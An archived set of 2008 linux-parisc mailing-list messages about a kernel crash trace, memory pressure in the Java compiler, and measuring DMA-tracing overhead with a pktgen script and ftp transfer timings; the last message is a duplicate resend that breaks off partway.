Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JHLFJ-0001HN-F6
	for glpp-linux-parisc@gmane.org; Tue, 22 Jan 2008 16:41:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751597AbYAVPkj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jan 2008 10:40:39 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752122AbYAVPkj
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Jan 2008 10:40:39 -0500
Original-Received: from nz-out-0506.google.com ([64.233.162.228]:15462 "EHLO
	nz-out-0506.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751597AbYAVPki (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jan 2008 10:40:38 -0500
Original-Received: by nz-out-0506.google.com with SMTP id s18so1439719nze.1
        for <linux-parisc@vger.kernel.org>; Tue, 22 Jan 2008 07:40:37 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:received:received:message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        bh=vtoiC6pe4heLB41NwMLB7XNJn1wUOAfUJyIkC+4tszM=;
        b=S1RIebkJIkVTmpbE5IT2WHcSGmvbaVr8RDp2azB5BClrHbixtXvSmrBVZF3Ejeb0T/b0j81QPj0aSEFqT6XeiswN4jJ/UETH2eccrRNDuVx0u7N6rnKLnhOyTKIOUfT8nsYwc+2lhoY2W5yQ/YWxZgXB13iiiMaNpBf+gy17A+I=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=message-id:date:from:sender:to:subject:cc:in-reply-to:mime-version:content-type:content-transfer-encoding:content-disposition:references:x-google-sender-auth;
        b=AP2batR4oua0BHAR+wwrtL3ea9N2d54/HmbZEZ2ngFHzepPr4mhkOPMHOI27GafGd6Ca6qNFNQDB1gB1NeOoGftGGMg730cVnTvJVp6zTwwa8/70Dg6W50L1AvJ845QLP7sldvrUjRzwhf3fdvUaGr/LdnYRAfEfGNultCeGE9Y=
Original-Received: by 10.140.126.14 with SMTP id y14mr5479099rvc.169.1201016436673;
        Tue, 22 Jan 2008 07:40:36 -0800 (PST)
Original-Received: by 10.141.98.3 with HTTP; Tue, 22 Jan 2008 07:40:36 -0800 (PST)
In-Reply-To: <200801191816.25091.deller@gmx.de>
Content-Disposition: inline
X-Google-Sender-Auth: 07ca5d32452f4673
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:85
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/85>

On Jan 19, 2008 12:16 PM, Helge Deller <deller@gmx.de> wrote:
> I noticed the following crashes yesterday with a plain 2.6.24-rc8 kernel.
> Maybe someone has an idea?

Please see the following URL and my inline comments.
http://www.parisc-linux.org/faq/kernelbug-howto.html

> The system still worked afterwards.
>
>       _______________________________
>      < Your System ate a SPARC! Gah! >
>       -------------------------------
>              \   ^__^
>               \  (xx)\_______
>                  (__)\       )\/\
>                   U  ||----w |
>                      ||     ||
> gij-4.3.bin (pid 23032): Protection id trap (code 27)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001000000000000001111 Not tainted
> r00-03  0004000f 10280000 1018d72c 60314388
> r04-07  00000000 000197a8 00000001 60314388
> r08-11  00000000 fffffff2 603140c8 00000006
> r12-15  00176fc0 0001bb40 00000014 00001000
> r16-19  402c3554 00019840 0001bb54 00000001
> r20-23  000197ae 00000000 6031439e 00000000
> r24-27  00000001 1050eaac 7e6c2970 1059f010
> r28-31  0000000f 00000001 60314500 1018d4e4
> sr00-03  00000000 00000000 00000000 000000ca
> sr04-07  00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 1018d76c 1018d770
>  IIR: 0e95d240    ISR: 000000ca  IOR: 000197ae
>  CPU:        0   CR30: 60314000 CR31: 11111111
>  ORIG_R28: 1017d598
>  IAOQ[0]: do_sys_poll+0x138/0x1b0
>  IAOQ[1]: do_sys_poll+0x13c/0x1b0
>  RP(r2): do_sys_poll+0xf8/0x1b0
> Backtrace:
>  [<10106cf0>] die_if_kernel+0x130/0x1a0
>  [<1010755c>] handle_interruption+0x3f4/0x58c
>  [<1010a078>] intr_check_sig+0x0/0x34
>
>
>       _______________________________
>      < Your System ate a SPARC! Gah! >
>       -------------------------------
>              \   ^__^
>               \  (xx)\_______
>                  (__)\       )\/\
>                   U  ||----w |
>                      ||     ||
> gij-4.3.bin (pid 23166): Protection id trap (code 27)
>
>      YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
> PSW: 00000000000001001111111100001111 Tainted: G      D
> r00-03  0004ff0f 10280000 1010f864 600b8148
> r04-07  445e5400 54aec974 54aec778 445e5424
> r08-11  00000000 00000001 54aec974 600b8148
> r12-15  00000012 0001bb40 00000014 00001000
> r16-19  402c3554 00019840 0001bb54 00000001
> r20-23  00000012 fffffff8 37c6ea54 600b80c8
> r24-27  445e5424 600b80c8 445e5424 1059f010
> r28-31  00000012 00040001 600b82c0 10179e38
> sr00-03  00000000 00000000 00000000 000000ca
> sr04-07  00000000 00000000 00000000 00000000
>
> IASQ: 00000000 00000000 IAOQ: 10138ae4 10138ae8
>  IIR: 0f54d280    ISR: 000000ca  IOR: 445e5424
>  CPU:        0   CR30: 600b8000 CR31: 11111111
>  ORIG_R28: 1017d598
>  IAOQ[0]: copy_siginfo_to_user+0x54/0x458
>  IAOQ[1]: copy_siginfo_to_user+0x58/0x458
>  RP(r2): setup_rt_frame+0xb8/0x388
> Backtrace:
>  [<10106cf0>] die_if_kernel+0x130/0x1a0
>  [<1010755c>] handle_interruption+0x3f4/0x58c
>  [<1010a078>] intr_check_sig+0x0/0x34

- The userspace process received a signal.
- We setup the signal frame on the users stack.
- We start copying the siginfo struct into userspace and fail.

This isn't fatal because we are writing into a userspace address, it
*is* fatal to the userspace process.

Did you run out of memory?

c.

From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: some gij-4.3/2.6.24-rc8 crashes
Date: Tue, 22 Jan 2008 12:35:33 -0500 (EST)
Lines: 22
Approved: news@gmane.org
Message-ID: <200801221735.m0MHZeZ2009017@hiauly1.hia.nrc.ca>
References: <119aab440801220740g77918c01r5c768f688f8170ca@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1201033772 15632 80.91.229.12 (22 Jan 2008 20:29:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 22 Jan 2008 20:29:32 +0000 (UTC)
Cc: deller@gmx.de, linux-parisc@vger.kernel.org
To: carlos@systemhalted.org (Carlos O'Donell)
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jan 22 21:29:51 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JHPkW-0004yT-RS
	for glpp-linux-parisc@gmane.org; Tue, 22 Jan 2008 21:29:37 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750765AbYAVU3K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 22 Jan 2008 15:29:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751054AbYAVU3K
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 22 Jan 2008 15:29:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:2156 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750765AbYAVU3J (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 22 Jan 2008 15:29:09 -0500
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1) with ESMTP id m0MHdgbN009358;
	Tue, 22 Jan 2008 12:39:47 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.14.1/8.14.1/Submit) id m0MHZeZ2009017;
	Tue, 22 Jan 2008 12:35:40 -0500 (EST)
In-Reply-To: <119aab440801220740g77918c01r5c768f688f8170ca@mail.gmail.com> from "Carlos O'Donell" at Jan 22, 2008 10:40:36 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:86
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/86>

> This isn't fatal because we are writing into a userspace address, it
> *is* fatal to the userspace process.
> 
> Did you run out of memory?

Don't really have a solution.  I used to see this all the time but
recent kernels have been much better in handling out of memory situations.
There is a little program in the gas testsuite that allocates 1 GB
of memory and it used to crash my c3k all the time.

The jc1 compiler is something of a memory hog.  I've stopped testing
java on my c200 because it takes forever to compile the library.
Although the compiler adapts somewhat to the memory available in
a machine, I have the sense that the current optimizations run best
on machines with 1 GB or more of memory for data.  Indeed, I think
the relative performance of the 64-bit compiler is better than it
used to be because of the larger address space and available memory.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)

From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 'Trace patches test' [Was: ccio_clear_io_tlb() and
	__raw_write() more question?]
Date: Wed, 23 Jan 2008 00:13:43 -0700
Lines: 49
Approved: news@gmane.org
Message-ID: <20080123071343.GD20348@colo.lackof.org>
References: <JV1SEX$ACF9E213A9B966069761EDBBFFD7BB89@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1201072488 23885 80.91.229.12 (23 Jan 2008 07:14:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 23 Jan 2008 07:14:48 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>
To: rubisher <rubisher@scarlet.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Jan 23 08:15:07 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JHZp7-0006IM-Ii
	for glpp-linux-parisc@gmane.org; Wed, 23 Jan 2008 08:15:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752421AbYAWHOb (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 23 Jan 2008 02:14:31 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752844AbYAWHOb
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 23 Jan 2008 02:14:31 -0500
Original-Received: from colo.lackof.org ([198.49.126.79]:41391 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752421AbYAWHOa (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 23 Jan 2008 02:14:30 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A13C429805D;
	Wed, 23 Jan 2008 00:14:16 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 31313-08; Wed, 23 Jan 2008 00:13:57 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id E479E29800A; Wed, 23 Jan 2008 00:13:44 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <JV1SEX$ACF9E213A9B966069761EDBBFFD7BB89@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:87
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/87>

On Tue, Jan 22, 2008 at 02:35:21PM +0100, rubisher wrote:
> Btw, a while back, I dream to use relayfs to grab debug info.
> (<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/053237.html>)
> 
> Somebody else write it:
> <http://lkml.org/lkml/2007/11/13/208>
> 
> Obviously, I have to instrument things manually but I test it succesfully.
> Here is already some primarily data test:
> [snip]
> :1201001199222127606:ccio_map_single_1:ccio_map_single() 0x1eb91896 ->
> 0x63b4896 size: 0x1000
> :1201001199222203288:ccio_map_single_2: pdir 1fcb1da0 038100000eb91017
> :1201001199222391065:ccio_map_single_1:ccio_map_single() 0x1febc096 ->
> 0x63b5096 size: 0x1000
...
> Exciting results?

Yes! Nice!

> (just what would give me DEBUG_RUN() printk() but without
>  degrading system performance)

I don't believe that. :)
Measure the CPU utilization and/or compare pktgen performance with
and without the tracing compiled into the kernel.

However, that doesn't mean this is useless. This is alot better than
rolling our own "light weight" tracing mechanism and it's certainly
alot better than using printk's to debug DMA issues (as long as
the system doesn't crash - e.g. HPMC).

hth,
grant

> I still have to had some more DEBUG_RUN_SG() stuff and hope to be able to
> collect more.
> 
> Cheers,
>     r.
> 
> ---
> Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> http://www.scarlet.be/
> 
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html

From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 'Trace patches test' [Was: ccio_clear_io_tlb() and __raw_write() 
	more question?]
Date: Fri, 25 Jan 2008 11:17:29 +0100
Lines: 227
Approved: news@gmane.org
Message-ID: <JV7395$DBAE1F0684DA4A107D72A32A8088590F@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1201256272 25686 80.91.229.12 (25 Jan 2008 10:17:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jan 2008 10:17:52 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 25 11:18:10 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JILdQ-0008Bg-5e
	for glpp-linux-parisc@gmane.org; Fri, 25 Jan 2008 11:18:08 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757707AbYAYKRl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Jan 2008 05:17:41 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757617AbYAYKRl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 25 Jan 2008 05:17:41 -0500
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:47451 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755605AbYAYKRi convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Jan 2008 05:17:38 -0500
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m0PAHTPp029209;
	Fri, 25 Jan 2008 11:17:30 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:88
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/88>

> On Tue, Jan 22, 2008 at 02:35:21PM +0100, rubisher wrote:
> > Btw, a while back, I dream to use relayfs to grab debug info.
> >
(<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/053237.html>)
> > 
> > Somebody else write it:
> > <http://lkml.org/lkml/2007/11/13/208>
> > 
> > Obviously, I have to instrument things manually but I test it succesfully.
> > Here is already some primarily data test:
> > [snip]
> > :1201001199222127606:ccio_map_single_1:ccio_map_single() 0x1eb91896 ->
> > 0x63b4896 size: 0x1000
> > :1201001199222203288:ccio_map_single_2: pdir 1fcb1da0 038100000eb91017
> > :1201001199222391065:ccio_map_single_1:ccio_map_single() 0x1febc096 ->
> > 0x63b5096 size: 0x1000
> ...
> > Exciting results?
> 
> Yes! Nice!
> 
> > (just what would give me DEBUG_RUN() printk() but without
> >  degrading system performance)
> 
> I don't believe that. :)
> Measure the CPU utilization and/or compare pktgen performance with
> and without the tracing compiled into the kernel.
> 
Having no clue about pktgen, I have a look and rebuild kernels with this
option and here are some results:
I use a pktgen-single script like:
#!/bin/sh
# "Simply" config: run single port.

#modprobe pktgen

function pgset() {
    local result

    echo $1 > $PGDEV

    result=`cat $PGDEV | fgrep "Result: OK:"`
    if [ "$result" = "" ]; then
         cat $PGDEV | fgrep Result:
    fi
}

# On UP systems only one thread exists -- so just add devices 
# We use eth1, eth2

echo "Adding devices to run". 

# eth0 interrupts on CPU0
PGDEV=/proc/net/pktgen/kpktgend_0
pgset "rem_device_all" 
pgset "add_device eth0" 
pgset "max_before_softirq 10000"

# Configure the individual devices
echo "Configuring devices"

PGDEV=/proc/net/pktgen/eth0

pgset "clone_skb 5000000" 
pgset "min_pkt_size 60" 
pgset "max_pkt_size 60" 
pgset "dst 10.24.252.109" 
pgset "dst_mac 00:50:04:1B:2C:17"
pgset "count 5000000"

# Time to run

PGDEV=/proc/net/pktgen/pgctrl

echo "Running... ctrl^C to stop"

pgset "start" 

# cat /proc/net/pktgen/eth? | fgrep Result
=== <> ===

And grab following results:
# With Kernel including ccio_trace_marker but ccio_trace module not running
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 455759  errors: 0
     started: 1201169852886722us  stopped: 1201169912731117us idle: 217617us
     seq_num: 455760  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 59844395(c59626778+d217617) usec, 455759 (60byte,0frags)
  7615pps 3Mb/sec (3655200bps) errors: 0

# With Kernel including ccio_trace_marker and ccio_trace module running
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 138863  errors: 0
     started: 1201170611403245us  stopped: 1201170675285642us idle: 4334664us
     seq_num: 138864  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 63882397(c59547733+d4334664) usec, 138863 (60byte,0frags)
  2173pps 1Mb/sec (1043040bps) errors: 0

# With Kernel without ccio_trace_marker
Params: count 5000000  min_pkt_size: 60  max_pkt_size: 60
     frags: 0  delay: 0  clone_skb: 5000000  ifname: eth0
     flows: 0 flowlen: 0
     queue_map_min: 0  queue_map_max: 0
     dst_min: 10.24.252.109  dst_max: 
     src_min:   src_max: 
     src_mac: 08:00:09:d2:89:15 dst_mac: 00:50:04:1b:2c:17
     udp_src_min: 9  udp_src_max: 9  udp_dst_min: 9  udp_dst_max: 9
     src_mac_count: 0  dst_mac_count: 0
     Flags: 
Current:
     pkts-sofar: 474350  errors: 0
     started: 1201243919209991us  stopped: 1201243981190756us idle: 188937us
     seq_num: 474351  cur_dst_mac_offset: 0  cur_src_mac_offset: 0
     cur_saddr: 0xa18fc16  cur_daddr: 0xa18fc6d
     cur_udp_dst: 9  cur_udp_src: 9
     cur_queue_map: 0
     flows: 0
Result: OK: 61980765(c61791828+d188937) usec, 474350 (60byte,0frags)
  7653pps 3Mb/sec (3673440bps) errors: 0

I am not sure how to read those results so I also do some ftp and grab
following data:

# With Kernel including ccio_trace_marker but ccio_trace module not running
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 54.42 secs (854.8 kB/s)

# With Kernel including ccio_trace_marker and ccio_trace module running
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 59.26 secs (784.9 kB/s)

# With kernel without ccio_trace_marker
ftp> put linux-2.6.24-rc4-pa-git-20071206.tar.bz2
local: linux-2.6.24-rc4-pa-git-20071206.tar.bz2 remote:
linux-2.6.24-rc4-pa-git-20071206.tar.bz2
200 PORT command successful.
150 Opening BINARY mode data connection for
'linux-2.6.24-rc4-pa-git-20071206.tar.bz2'.
226 Transfer complete.
47631536 bytes sent in 55.66 secs (835.8 kB/s)

I agree it decrease a bit the system performance but doesn't slow it down so
much that it would take several hours to boot has printk() did to me ;-)

> However, that doesn't mean this is useless. This is alot better than
> rolling our own "light weight" tracing mechanism and it's certainly
> alot better than using printk's to debug DMA issues (as long as
> the system doesn't crash - e.g. HPMC).
> 
Yes there are limits to this method but for parisc I know so few kernel
debugging tools that I would like to mentioned here the easiness of this patch
implementation (even for a non C programmer as I ;<)

Cheers,
    r.

PS: I didn't put this code here just because all what I have wouldn't apply on
the current p-l ccio-dma.c src.


> hth,
> grant
> 
> > I still have to had some more DEBUG_RUN_SG() stuff and hope to be able to
> > collect more.
> > 
> > Cheers,
> >     r.
> > 
> > ---
> > Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
> > http://www.scarlet.be/
> > 
> > -
> > To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> > the body of a message to majordomo@vger.kernel.org
> > More majordomo info at  http://vger.kernel.org/majordomo-info.html
> -
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 
> 
---
Scarlet One, ADSL 6 Mbps + Telephone, from EUR 29,95...
http://www.scarlet.be/


From - Thu Nov 08 21:01:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "rubisher" <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: 'Trace patches test' [Was: ccio_clear_io_tlb() and __raw_write() 
	more question?]
Date: Fri, 25 Jan 2008 11:19:27 +0100
Lines: 227
Approved: news@gmane.org
Message-ID: <JV73CF$6B162801D4BC7B6A71EAE5FBFAB2528F@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1201256396 26066 80.91.229.12 (25 Jan 2008 10:19:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Jan 2008 10:19:56 +0000 (UTC)
Cc: "linux-parisc" <linux-parisc@vger.kernel.org>,
	"rubisher" <rubisher@scarlet.be>
To: "grundler" <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 25 11:20:15 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JILfQ-0000KR-Vk
	for glpp-linux-parisc@gmane.org; Fri, 25 Jan 2008 11:20:13 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752868AbYAYKTf (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Jan 2008 05:19:35 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753259AbYAYKTf
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 25 Jan 2008 05:19:35 -0500
Original-Received: from hel.is.scarlet.be ([193.74.71.26]:33864 "EHLO hel.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752868AbYAYKTe convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Jan 2008 05:19:34 -0500
Original-Received: from scarlet.be (taj.is.scarlet.be [193.74.71.42])
	by hel.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m0PAJRRP008916;
	Fri, 25 Jan 2008 11:19:28 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: hel; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:89
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/89>

> On Tue, Jan 22, 2008 at 02:35:21PM +0100, rubisher wrote:
> > Btw, a while back, I dream to use relayfs to grab debug info.
> >
(<http://lists.parisc-linux.org/pipermail/parisc-linux/2006-April/053237.html>)
> > 
> > Somebody else write it:
> > <http://lkml.org/lkml/2007/11/13/208>
> > 
> > Obviously, I have to instrument things manually but I test it succesfully.
> > Here is already some primarily data test:
> > [snip]
> > :1201001199222127606:ccio_map_single_1:ccio_map_single() 0x1eb91896 ->
> > 0x63b4896 size: 0x1000
> > :1201001199222203288:ccio_map_single_2: pdir 1fcb1da0 038100000eb91017
> > :1201001199222391065:ccio_map_single_1:ccio_map_single() 0x1febc096 ->
> > 0x63b5096 size: 0x1000
> ...
> > Exciting results?
> 
> Yes! Nice!
> 
> > (just what would give me DEBUG_RUN() printk() but without
> >  degrading system performance)
> 
> I don't believe that. :)
> Measure the CPU utilization and/or compare pktgen performance with
> and without the tracing compiled into the kernel.
> 
Having no clue about pktgen, I have a look and rebuild kernels with this
option and here are some results:
I use a pktgen-single script like:
#!/bin/sh
# "Simply" config: run single port.

#modprobe pktgen

function pgset() {
    local result

    echo $1 > $PGDEV

    result=`cat $PGDEV | fgrep "Result: OK:"`
    if [ "$result" = "" ]; then
         cat $PGDEV | fgrep Result:
    fi
}

# On UP systems only one thread exists -- so just add devices 
# We use eth1, eth2

echo "Adding devices to run". 

# eth0 interrupts on CPU0
PGDEV=/proc/net/pktgen/kpktgend_0
pgset "rem_device_all" 
